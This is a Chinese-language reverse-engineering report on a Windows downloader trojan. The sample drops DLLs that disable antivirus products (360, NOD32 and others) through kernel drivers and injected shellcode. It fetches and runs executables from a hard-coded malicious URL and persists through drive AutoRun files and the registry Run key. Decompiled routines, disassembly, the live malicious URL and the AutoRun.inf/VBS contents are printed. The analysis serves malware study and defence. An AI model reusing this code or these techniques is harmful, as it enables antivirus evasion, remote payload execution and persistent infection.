某对抗型下载器分析报告
magictong
一、样本基础信息
MD5:7e130014aa5af499271156a3d0166026
大小:64,512 字节
文件名:7e130014aa5af499271156a3d0166026.exe
其它:无签名,无壳(释放的文件也无壳)
调试运行环境:XPSP3
调试工具:OD IDA PEID
二、总结
本样本是一个具有对抗行为的高级下载器(可惜下载list无法下载了),样本启动后,从资源中释放两个随机命名的dll文件,然后使用rundll32将两个dll分别加载起来。其中第一个dll主要进行杀软反杀操作(释放驱动进行反杀),第二个dll主要进行木马下载运行和样本的系统驻留工作(系统驻留操作使用两种方式,一种是感染磁盘AutoRun,另一个是写系统注册表的run键值)。
在本样本的分析过程,由于对驱动PE和驱动调用方式不熟悉,因此对于具体怎么反杀的细节没弄特别明白。
释放的文件列表:
dfecjdc.dl
gjhhcbf.dll
system32.exe(自身的拷贝)
AutoRun.inf
AutoRun.vbs
Driver.sys
Hook.sys
……
其他木马文件和备份文件
三、样本基本行为流程
【样本7e130014aa5af499271156a3d0166026.exe行为】
1、样本启动后,生成两个随机文件名dfecjdc.dll和gjhhcbf.dll(注:这两个名字每次都不同,是随机生成)。
2、在样本中找到名字为65和66的资源,然后分别从资源中释放两个文件到system32下面(文件名就是上面1里面生成的文件名)。
3、使用rundll32依次加载这两个DLL,调用这两个DLL里面的Execute函数。
4、把自身通过MoveFileA移动到C:\WINDOWS\system32\system.exe下,然后退出。
【dfecjdc.dll行为】
这个DLL主要是做杀软对抗操作,对于要对抗哪些杀软,这个DLL使用一个个的魔术数进行标记,然后在枚举进程的时候,把进程名通过私有算法(不可逆)计算出一个魔术数(唯一),然后看这个数字是否是自己hardcode的某个数相等。下面的图片是使用穷举法计算出来的一批进程名不超过6位的进程名,可以看到流行杀软(NOD32,瑞星,金山,360等等都在里面)。
基本流程:
1、 首先是干掉360(这个过程还没有验证),这个过程可以见下面的详细分析。
2、查找模块信息(调用NTDLL里面的函数NtQuerySystemInformation的11号功能SystemModuleInformation),找到ntkrnlpa.exe名字,然后进行加载。
3、然后是过掉除NOD32之外的其他杀软,具体方法是通过释放驱动Driver.sys文件,创建一个驱动服务,然后把对应杀软服务的PID传给这个驱动服务。
4、对NOD32进行“特殊照顾”,方法同2,但是释放的是另一个驱动文件Hook.sys。
5、删除上面创建的两个驱动服务,删除Driver.sys和Hook.sys这两个驱动文件。
6、卸载360的safemon.dll(通过远程线程注入的方式)。
【gjhhcbf.dll行为】
这个DLL主要是做木马下载、运行和系统驻留工作,加载后在它的Execute函数里面启动了两个线程,线程的基本流程如下:
1、线程1启动后获得木马list的下载地址http://x.oye777.com/07/d.txt,然后下载这个list,然后从这个文件里面读取木马或病毒的下载URL再进行下载,下载成功则进行运行(这个过程循环进行)。
2、线程2启动后,进行系统驻留工作,在每个磁盘下创建磁盘AutoRun,创建系统注册表自启动(run键,这个过程也是循环进行)。
【两个驱动的行为】
1、 Driver.sys主要是进行进程结束工作。
2、 Hook.sys的主要工作比较模糊,对驱动的工作流程不甚清楚。
四、细节分析
【样本7e130014aa5af499271156a3d0166026.exe行为】
1、生成随机文件名
0012F8D8 0012F934 |FileName = "C:\WINDOWS\system32\dfecjdc.dll"
2、找资源名为65,资源类型为Resource的类型
00401AF0 |. 68 60304000 PUSH 7e130014.00403060 ; /resource
00401AF5 |. 6A 65 PUSH 65 ; |ResourceName = 65
00401AF7 |. 6A 00 PUSH 0 ; |/pModule = NULL
00401AF9 |. FF15 34304000 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH>; |\GetModuleHandleA
00401AFF |. 50 PUSH EAX ; |hModule
00401B00 |. FF15 08304000 CALL DWORD PTR DS:[<&KERNEL32.FindResour>; \FindResourceA
0012F8E8 00400000 |hModule = 00400000 (7e130014)
0012F8EC 00000065 |ResourceName = 65
0012F8F0 00403060 \ResourceType = "Resource"
3、从资源中创建DLL文件(dfecjdc是随机文件名,每次都不同)
0012F8D8 0012F934 |FileName = "C:\WINDOWS\system32\dfecjdc.dll"
0012F8DC 40000000 |Access = GENERIC_WRITE
0012F8E0 00000002 |ShareMode = FILE_SHARE_WRITE
0012F8E4 00000000 |pSecurity = NULL
0012F8E8 00000002 |Mode = CREATE_ALWAYS
0012F8EC 00000080 |Attributes = NORMAL
0012F8F0 00000000 \hTemplateFile = NULL
4、用rundll32把DLL加载起来,调用这个DLL的导出函数Execute
命令行为:
Rundll32 C:\WINDOWS\system32\dfecjdc.dll Execute
CreateProcess的参数:
0012F5EC 00000000 |ModuleFileName = NULL
0012F5F0 0012F7DC |CommandLine = "Rundll32 C:\WINDOWS\system32\dfecjdc.dll Execute"
0012F5F4 00000000 |pProcessSecurity = NULL
0012F5F8 00000000 |pThreadSecurity = NULL
0012F5FC 00000000 |InheritHandles = FALSE
0012F600 00000000 |CreationFlags = 0
0012F604 00000000 |pEnvironment = NULL
0012F608 00000000 |CurrentDir = NULL
0012F60C 0012F67C |pStartupInfo = 0012F67C
0012F610 0012F6C4 \pProcessInfo = 0012F6C4
004016C6 |. 52 PUSH EDX ; /pProcessInfo
004016C7 |. 8D85 98FDFFFF LEA EAX,DWORD PTR SS:[EBP-268] ; |
004016CD |. 50 PUSH EAX ; |pStartupInfo
004016CE |. 6A 00 PUSH 0 ; |CurrentDir = NULL
004016D0 |. 6A 00 PUSH 0 ; |pEnvironment = NULL
004016D2 |. 6A 00 PUSH 0 ; |CreationFlags = 0
004016D4 |. 6A 00 PUSH 0 ; |InheritHandles = FALSE
004016D6 |. 6A 00 PUSH 0 ; |pThreadSecurity = NULL
004016D8 |. 6A 00 PUSH 0 ; |pProcessSecurity = NULL
004016DA |. 8D8D F8FEFFFF LEA ECX,DWORD PTR SS:[EBP-108] ; |
004016E0 |. 51 PUSH ECX ; |CommandLine
004016E1 |. 6A 00 PUSH 0 ; |ModuleFileName = NULL
004016E3 |. FF15 20304000 CALL DWORD PTR DS:[<&KERNEL32.CreateProc>; \CreateProcessA
004016E9 |. 837D 0C 00 CMP DWORD PTR SS:[EBP+C],0
004016ED |. 74 0F JE SHORT 7e130014.004016FE
004016EF |. 6A FF PUSH -1 ; /Timeout = INFINITE
004016F1 |. 8B95 E0FDFFFF MOV EDX,DWORD PTR SS:[EBP-220] ; |
004016F7 |. 52 PUSH EDX ; |hObject
004016F8 |. FF15 10304000 CALL DWORD PTR DS:[<&KERNEL32.WaitForSin>; \WaitForSingleObject
5、用上面同样的方法生成一个随机文件名,然后找资源名为66,资源类型为Resource,从资源中创建一个DLL文件,然后用rundll32把DLL加载起来,调用这个DLL的导出函数Execute。
命令行为:
Rundll32 C:\WINDOWS\system32\gjhhcbf.dll Execute
6、把自身通过MoveFileA移动到C:\WINDOWS\system32\system.exe,然后退出。
00401EA0 |. 51 PUSH ECX ; /NewName
00401EA1 |. 8D95 F8FEFFFF LEA EDX,DWORD PTR SS:[EBP-108] ; |
00401EA7 |. 52 PUSH EDX ; |ExistingName
00401EA8 |. FF15 2C304000 CALL DWORD PTR DS:[<&KERNEL32.MoveFileA>] ; \MoveFileA
00401EAE |. 6A 00 PUSH 0 ; /ExitCode = 0
00401EB0 \. FF15 00304000 CALL DWORD PTR DS:[<&KERNEL32.ExitProcess>] ; \ExitProcess
MoveFileA的参数:
0012FC70 0012FEB8 |ExistingName = "C:\Documents and Settings\Administrator\桌面\7e130014aa5af499271156a3d0166026.exe"
0012FC74 0012FDB0 \NewName = "C:\WINDOWS\system32\system.exe"
【dfecjdc.dll行为】
(名字是随机的)这个DLL是样本第一个通过rundll32加载起来的DLL(Rundll32 C:\WINDOWS\system32\dfecjdc.dll Execute),它主要是做对抗杀软操作。
DLLMAIN,这个dfecjdc.dll里面在加载之后,dllmian里面判断加载自己的是不是360tray.exe,如果是则干掉360的实时防护,然后退出进程。
if (fdwReason == 1)
{
hModule = hinstDLL;
GetModuleFileNameA(0, &String, 0x104u);
v4 = StrChar_100010D0(&String, '\\');
if ( !lstrcmpiA(&String1[v4], "360tray.exe") )
{
Kill360_10002920(); // 废掉360
ExitProcess(0);
}
}
这个干掉360的过程没有验证。
void __cdecl Kill360_10002920()
{
HANDLE v0; // eax@1
HANDLE hObject; // [sp+4h] [bp-8h]@1
int InBuffer; // [sp+8h] [bp-4h]@1
DWORD BytesReturned; // [sp+0h] [bp-Ch]@1
v0 = CreateFileA("\\\\.\\360SpShadow0", 0x80000000u, 3u, 0, 3u, 0x80u, 0);
hObject = v0;
InBuffer = 0;
BytesReturned = 0;
DeviceIoControl(v0, 2236488u, &InBuffer, 4u, 0, 0, &BytesReturned, 0);
CloseHandle(hObject);
Sleep(1000u);
}
Execute函数
创建线程,然后等待线程执行结束。线程函数的流程如下:
1、搜索进程,根据私有算法查找是否有360tray进程(算法不可逆,穷举),私有算法如下:
int __cdecl sub_10001000(char *a1)
{
signed int v2;
signed int v3;
int v4;
v2 = 378551;
v3 = 63689;
v4 = 0;
while (*a1)
{
if (*a1 < 'A' || *a1 > 'Z')
v4 = *a1 + v3 * v4;
else
v4 = v3 * v4 + *a1 + 32;
v3 *= v2;
++a1;
}
return v4 & 0x7FFFFFFF;
}
2、如果找到360tray.exe,则进行如下操作:
v2 = GetModuleHandleA("Kernel32.dll");
hModule = v2;
v3 = GetProcAddress(v2, "LoadLibraryA");
v22 = v3;
v23 = v3;
GetModuleFileNameA(hModule, &String2, 260u);
lstrcpyA(&NewFileName, &String2);
v4 = StrChar_100010D0(&NewFileName, '\\');
lstrcpyA(&v26[v4], "1l1.dll");
CopyFileA(&String2, &NewFileName, 0);
GetProcFileName_10001F80(dwProcessId, &DllName, 260u);
sub_10002B80((int)&StartupInfo, 0, 68);
StartupInfo.cb = 68;
ProcessInformation.hProcess = 0;
ProcessInformation.hThread = 0;
ProcessInformation.dwProcessId = 0;
ProcessInformation.dwThreadId = 0;
CreateProcessA(0, &DllName, 0, 0, 1, 4u, 0, 0, &StartupInfo, &ProcessInformation);
v5 = (void *)GetOEPVA_10001FC0(&DllName);
lpBaseAddress = v5;
NumberOfBytesWritten = 0;
VirtualProtectEx(ProcessInformation.hProcess, v5, 4u, 4u, &NumberOfBytesWritten);
WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &Buffer, 19u, &NumberOfBytesWritten);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
WaitForSingleObject(ProcessInformation.hProcess, 5000u);
CloseHandle(ProcessInformation.hProcess);
Sleep(1000u);
return DeleteFileA(&NewFileName);
上面代码的流程分析如下:
(1) 拷贝dfecjdc.dll一份到system32下命名为1l1.dll。
(2) 找到360tray.exe进程之后,以挂起模式新启动一个360tray.exe,然后找到360tray.exe的OEP的VA,写入一段shellcode(hardcode,需要使用OD验证),如下:含义就是加载上面拷贝的1l1.dll。
00A6FBA4 68 646C6C00 PUSH 6C6C64
00A6FBA9 68 316C312E PUSH 2E316C31
00A6FBAE 54 PUSH ESP
00A6FBAF B8 7B1D807C MOV EAX,kernel32.LoadLibraryA
00A6FBB4 FFD0 CALL EAX
(3) 唤醒360tray.exe进程,删除1l1.dll。
3、文件名的每个字符与68进行异或,还原的时候再异或回来(整个样本里面多次使用这种方法,10001090)。
解密前:00A6FE5C 00 36 2D 32 21 36 6A 37 3D 37 44 00 EC 0C 00 00 .6-2!6j7=7D.?..
解密后:00A6FE5C 44 72 69 76 65 72 2E 73 79 73 00 44 EC 0C 00 00 Driver.sys.D?..
4、接下来是干掉其他杀软(BP 10001BA0 可以拿到那2个驱动文件)的准备工作,流程分析:
创建驱动服务:
00A6FB44 0009AE18 |hManager = 0009AE18
00A6FB48 00A6FBA0 |ServiceName = "Driver"
00A6FB4C 00A6FBA0 |DisplayName = "Driver"
00A6FB50 000F01FF |DesiredAccess = SERVICE_ALL_ACCESS
00A6FB54 00000001 |ServiceType = SERVICE_KERNEL_DRIVER
00A6FB58 00000003 |StartType = SERVICE_DEMAND_START
00A6FB5C 00000001 |ErrorControl = SERVICE_ERROR_NORMAL
00A6FB60 00A6FCDC |BinaryPathName = "C:\Driver.sys"
00A6FB64 00000000 |LoadOrderGroup = NULL
ServiceName = "Driver"
创建一个名为"\\.\IcyHeart"的内核设备对象:
00A6FB5C 00A6FB90 |FileName = "\\.\IcyHeart"
00A6FB60 C0000000 |Access = GENERIC_READ|GENERIC_WRITE
00A6FB64 00000000 |ShareMode = 0
00A6FB68 00000000 |pSecurity = NULL
00A6FB6C 00000003 |Mode = OPEN_EXISTING
00A6FB70 00000040 |Attributes = 40
00A6FB74 00000000 \hTemplateFile = NULL
5、查找模块信息(调用NTDLL里面的函数NtQuerySystemInformation的11号功能SystemModuleInformation),找到ntkrnlpa.exe名字,然后进行加载,拿到服务描述符表(TODO:bp 10001a57)。
100019E2 FF15 6C400010 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH>; kernel32.GetModuleHandleA
100019E8 50 PUSH EAX
100019E9 FF15 50400010 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd>; kernel32.GetProcAddress
100019EF 8945 E8 MOV DWORD PTR SS:[EBP-18],EAX
100019F2 8D4D F0 LEA ECX,DWORD PTR SS:[EBP-10]
100019F5 51 PUSH ECX
100019F6 6A 04 PUSH 4
100019F8 8B55 D8 MOV EDX,DWORD PTR SS:[EBP-28]
100019FB 52 PUSH EDX
100019FC 6A 0B PUSH 0B
100019FE FF55 E8 CALL DWORD PTR SS:[EBP-18] ; ntdll.ZwQuerySystemInformation
加载00A6FB2C 0009AE4A |FileName = "ntkrnlpa.exe"(bp 10001a57)
00A6FB28 00A6FB48 ASCII "KeServiceDescriptorTable"
sub_100017D0(这个函数?)
然后获取KeServiceDescriptorTable(系统描述符表)的偏移。猜测后面的工作是进行系统服务隐藏操作,但是是在驱动里面调用完成的,具体细节需要分析驱动Driver.sys里面的流程(这个地方还需要仔细动态调试分析 TODO:10001910)。
ConvXor_10001090((int)&KeServiceDescriptorTable, (int)&KeServiceDescriptorTable, 25, 0x4Bu);
offsetKSDT = GetProcAddress(hLibModntkrnlpa, &KeServiceDescriptorTable) - (FARPROC)hLibModntkrnlpa;
offsetKSDTTmp = offsetKSDT;
v80 = sub_100017D0((int)hLibModntkrnlpa, offsetKSDT);
chkPEGetPEInfo_10001730((int)hLibModntkrnlpa, (int)&pdwPEentry, (int)&pCharactor, (int)&lpSectionTable);
v84 = (char *)hLibModntkrnlpa + v80;
while ( (unsigned int)(*(_DWORD *)v84 - *(_DWORD *)(pCharactor + 28)) < *(_DWORD *)(pCharactor + 56) )
{
OutBuffer = v51 + *(_DWORD *)v84 - *(_DWORD *)(pCharactor + 28);
DeviceIoControl_10001650(hDevice, InBuffer, &OutBuffer);
v84 += 4;
++InBuffer;
}
6、对要进行对抗的杀软(29个)依次进行反杀操作。
(1) (调用DeviceIoControl,hDevice是之前创建的驱动服务的句柄,InBuffer写入对应杀软进程的PID)。
BytesReturned = 0;
OutBuffer = 0;
InBuffer = pe.th32ProcessID;
DeviceIoControl(hDevice, 0x222008u, &InBuffer, 4u, &OutBuffer, 4u, &BytesReturned, 0);
Sleep(1000u);
(2) 对v30 = 366133792; v31 = 2102267364;这两个杀软(枚举出来,这两个东东是egui.exe和ekrn.exe)进行反杀操作,也就是对这两个进行特殊处理。方法同上,首先创建一个驱动文件。然后创建一个驱动服务,再调用DeviceIoControl把egui.exe和ekrn.exe的PID传入刚才创建的驱动服务程序里面。
00A6FB90 00A6FBC4 |FileName = "C:\WINDOWS\system32\Hook.sys"
00A6FB94 00000000 |Access = 0
00A6FB98 00000000 |ShareMode = 0
00A6FB9C 00000000 |pSecurity = NULL
00A6FBA0 00000001 |Mode = CREATE_NEW
00A6FBA4 00000080 |Attributes = NORMAL
00A6FBA8 00000000 \hTemplateFile = NULL
7、删除上面创建的服务,删除两个驱动文件。
ControlService(hSCObject, 1u, &ServiceStatus);
DeleteService(hSCObject);
CloseServiceHandle(hSCObject);
8、卸载360的safemon.dll(通过远程线程注入的方式,将所有线程中safemon.dll这个模块free掉)。
do
{
lpParameter = 0;
v3 = GetModuleAdd_100013E0(pe.th32ProcessID, lpString2);
v10 = v3;
if ( v3 )
{
v11 = v10;
Buffer = FreeLibrary;
v4 = OpenProcess(0x1FFFFFu, 0, pe.th32ProcessID);
hObject = v4;
if ( v4 )
{
v5 = VirtualAllocEx(hObject, 0, 8u, 0x1000u, 4u);
lpParameter = v5;
WriteProcessMemory(hObject, v5, &Buffer, 8u, 0);
v6 = (DWORD (__stdcall *)(LPVOID))VirtualAllocEx(hObject, 0, 2048u, 0x1000u, 0x40u);
lpStartAddress = v6;
WriteProcessMemory(hObject, v6, sub_10001120, 2048u, 0);
v15 = CreateRemoteThread(hObject, 0, 0, lpStartAddress, lpParameter, 0, 0);
CloseHandle(hObject);
}
}
result = Process32Next(hSnapshot, &pe);
}
while ( result );
下面是远程线程函数,可以大概观摩下(实际就是调用FreeLibrary,不过FreeLibrary和要free的模块地址都是通过参数传入的):
10001120 55 PUSH EBP
10001121 8BEC MOV EBP,ESP
10001123 51 PUSH ECX
10001124 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
10001127 8B08 MOV ECX,DWORD PTR DS:[EAX]
10001129 894D FC MOV DWORD PTR SS:[EBP-4],ECX
1000112C 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8]
1000112F 8B42 04 MOV EAX,DWORD PTR DS:[EDX+4]
10001132 50 PUSH EAX
10001133 FF55 FC CALL DWORD PTR SS:[EBP-4]
10001136 33C0 XOR EAX,EAX
10001138 8BE5 MOV ESP,EBP
1000113A 5D POP EBP
1000113B C2 0400 RETN 4
【这个DLL的工作就做完了】
【gjhhcbf.dll行为】
(名字是随机的)这个DLL是样本第二个通过rundll32加载起来的DLL(Rundll32 C:\WINDOWS\system32\gjhhcbf.dll Execute),它主要是做木马下载、运行和系统驻留工作。
这个DLL没有dllmain函数,加载后调用Execute函数,下面是Execute函数流程。
1、打开名为"SeDebugPrivilege"的Mutex,如果打开成功,则直接退出(表示已经存在了)。
2、如果不存在名为"SeDebugPrivilege"的Mutex,则创建两个线程,这两个线程都是死循环。然后Execute函数里面会无限等待线程退出(也就是实际这个进程永远不会退出)。
3、下面是对两个线程函数行为的分析。
首先来看线程1,
(1) 首先获取到存放木马地址的URL路径(这个路径是加密hardcode的,运行时候会解密)http://x.oye777.com/07/d.txt。
(2) 把系统目录下的wininet.dll拷贝到临时目录C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\\38595468.tmp,文件名的数字是通过GetTickCount实时生成。
00A7F680 00A7F910 |ExistingFileName = "C:\WINDOWS\system32\wininet.dll"
00A7F684 00A7F800 |NewFileName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\\38595468.tmp"
00A7F688 00000000 \FailIfExists = FALSE
(3) 然后把38595468.tmp通过LoadLibrary加载起来,然后通过调用自己的一个GetProcAddress函数把下面的4个API获取到。获取API的时候通过一串魔术数来计算的。
InternetOpenA
InternetOpenUrlA
InternetReadFile
InternetCloseHandle
hLibModule = v4;
InternetOpenA = GetProcAdress_10001210((int)v4, 193922496);
InternetOpenUrlA = GetProcAdress_10001210((int)hLibModule, 358618631);
InternetReadFile = GetProcAdress_10001210((int)hLibModule, 1318891309);
InternetCloseHandle = GetProcAdress_10001210((int)hLibModule, 21369857);
然后就是是配合调用这4个函数来进行下载http://x.oye777.com/07/d.txt,解密函数sub_10003DC0很复杂(d.txt下载不了),验证解密函数很困难。
(4) 下载d.txt中的exe到本地,然后下载里面的exe链接,下载成功后则运行下载回来的EXE(每条URL使用\r\n进行分割),同时对exe进行备份(备份到system32目录下的system.data,TODO:sub_10004130)。
while ( i < nHttpTxtSize )
{
if ( *((_BYTE *)lpBufferOrg + i) == '\r' )
{
if ( *((_BYTE *)lpBufferOrg + i + 1) == '\n' )
{
*((_BYTE *)lpBufferOrg + i) = 0;
nExeSize = 0;
lpMem = GetHttpTxtCont_100012B0(lpBuffer + 2, (int)&nExeSize);
if ( nExeSize > 2048 )
{
v5 = GetTickCount();
GetRandName_10001020(v5, 0, (int)&lpRandName);
lstrcpyA(&CmdLine, &String2);
lstrcatA(&CmdLine, L"\\");
lstrcatA(&CmdLine, &lpRandName);
lstrcatA(&CmdLine, ".exe");
v6 = CreateFileA(&CmdLine, 0x40000000u, 1u, 0, 2u, 0x80u, 0);
hObject = v6;
if ( v6 != (HANDLE)-1 )
{
((int (__stdcall *)(HANDLE, LPVOID, unsigned int, char *, _DWORD))WriteFile)(
hObject,
lpMem,
nExeSize,
&v41,
0);
CloseHandle(hObject);
}
v42 = nExeSize;
sub_10004130((int)&v43, 0, 100);
lstrcpyA(&v43, (LPCSTR)(lpBuffer + 2));
hFileData = CreateFileA(&FileName, 0x40000000u, 1u, 0, 4u, 0x80u, 0);
hFile = hFileData;
SetFilePointer(hFileData, 0, 0, 2u);
v45 = 0;
((int (__stdcall *)(HANDLE, char *, signed int, int *, _DWORD))WriteFile)(hFile, &v43, 104, &v45, 0);
CloseHandle(hFile);
WinExec(&CmdLine, 0);
}
lpBuffer = (int)(lpBufferOrg + i + 2);
if ( lpMem )
{
v8 = lpMem;
v9 = GetProcessHeap();
HeapFree(v9, 0, v8);
}
Sleep(7000u);
}
}
++i;
}
(5) 然后进入一个死循环,每过900秒,执行一次类似上面的(4)的过程,不同的是,每次会把下载回来的文件与备份过的文件进行校验,如果校验通过,则重新备份,并运行下载回来的文件,如果校验失败,则删除下载回来的文件(校验函数TODO:sub_100017E0)。
if ( (unsigned int)nExeSize > 0x800 )
{
nTime = GetTickCount();
GetRandName_10001020(nTime, 0, (int)&v44);
lstrcpyA(&CmdLine, &String2);
lstrcatA(&CmdLine, L"\\");
lstrcatA(&CmdLine, &v44);
lstrcatA(&CmdLine, ".exe");
hFileDown = CreateFileA(&CmdLine, 0x40000000u, 1u, 0, 2u, 0x80u, 0);
v46 = hFileDown;
if ( hFileDown != (HANDLE)-1 )
{
((int (__stdcall *)(void *, LPVOID, int, char *, _DWORD))WriteFile)(v46, lpMem, nExeSize, &v47, 0);
CloseHandle(v46);
}
if ( Check_100017E0(lpBuf, dwBytes, nExeSize, (LPCSTR)(lpbuffer + 2)) )
{
DeleteFileA(&CmdLine);
}
else
{
v48 = nExeSize;
sub_10004130((int)&v49, 0, 100);
lstrcpyA(&v49, (LPCSTR)(lpbuffer + 2));
v12 = CreateFileA(&FileName, 0x40000000u, 1u, 0, 4u, 0x80u, 0);
hFile = v12;
SetFilePointer(v12, 0, 0, 2u);
v51 = 0;
((int (__stdcall *)(HANDLE, char *, signed int, int *, _DWORD))WriteFile)(hFile, &v49, 104, &v51, 0);
CloseHandle(hFile);
WinExec(&CmdLine, 0);
}
}
【线程1 END】
4、线程2行为,进行驻留系统的操作。
(1) 写磁盘AutoRun,下面的 (a)(b) 2个过程会从C盘一直执行到Z盘,其目的就是通过磁盘的AutoRun功能达到运行自己的目的。
chDriverName = 'C';
while ( chDriverName <= 'Z' )
{
String2 = chDriverName;
……
}
(a) 创建C:\AutoRun.inf和C:\AtuoRun.vbs,文件内容如下:
00ABF9E8 00ABFD5C |FileName = "C:\AutoRun.inf"
00ABF9EC 10000000 |Access = GENERIC_ALL
00ABF9F0 00000000 |ShareMode = 0
00ABF9F4 00000000 |pSecurity = NULL
00ABF9F8 00000001 |Mode = CREATE_NEW
00ABF9FC 00000002 |Attributes = HIDDEN
00ABFA00 00000000 \hTemplateFile = NULL
[C:\AutoRun.inf]内容为:
[AutoRun]
shellexecute=AutoRun.vbs
shell\Auto\command=AutoRun.vbs
00ABF9E8 00ABFAD4 |FileName = "C:\AutoRun.vbs"
00ABF9EC 10000000 |Access = GENERIC_ALL
00ABF9F0 00000000 |ShareMode = 0
00ABF9F4 00000000 |pSecurity = NULL
00ABF9F8 00000001 |Mode = CREATE_NEW
00ABF9FC 00000002 |Attributes = HIDDEN
00ABFA00 00000000 \hTemplateFile = NULL
[C:\AtuoRun.vbs]的内容为:
set yu=wscript.createobject("wscript.shell")
yu.run "cmd /c start C:\",0
yu.run "cmd /c start system.exe",0
(b) 拷贝system32下的system.exe(这个是样本自身)到C:\下,如果C:\下已经有system.exe,在把C:\system.exe备份到system32下,设置属性为隐藏。
v4 = CreateFileA(&NewFileName, 0x10000000u, 0, 0, 3u, 2u, 0);
hObject = v4;
if ( v4 == (HANDLE)-1 )
{
CopyFileA(&ExistingFileName, &NewFileName, 0);
SetFileAttributesA(&NewFileName, 2u);
}
else
{
CloseHandle(hObject);
v5 = CreateFileA(&ExistingFileName, 0x10000000u, 0, 0, 3u, 2u, 0);
hObject = v5;
if ( v5 == (HANDLE)-1 )
CopyFileA(&NewFileName, &ExistingFileName, 0);
else
CloseHandle(hObject);
}
(2) 写注册表自启动,在run键下写入属性为system值为C:\WINDOWS\system32\system.exe的自启动。
00ABFD0C 80000002
00ABFD10 00ABFE74 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
00ABFD08 00000080
00ABFD0C 00ABFD4C ASCII "system"
00ABFD10 00000000
00ABFD14 00000001
00ABFD18 00ABFEA4 ASCII "C:\WINDOWS\system32\system.exe"
00ABFD1C 0000001E
【线程2的事情就做完了,然后就是循环做上面(1)(2)两件事情】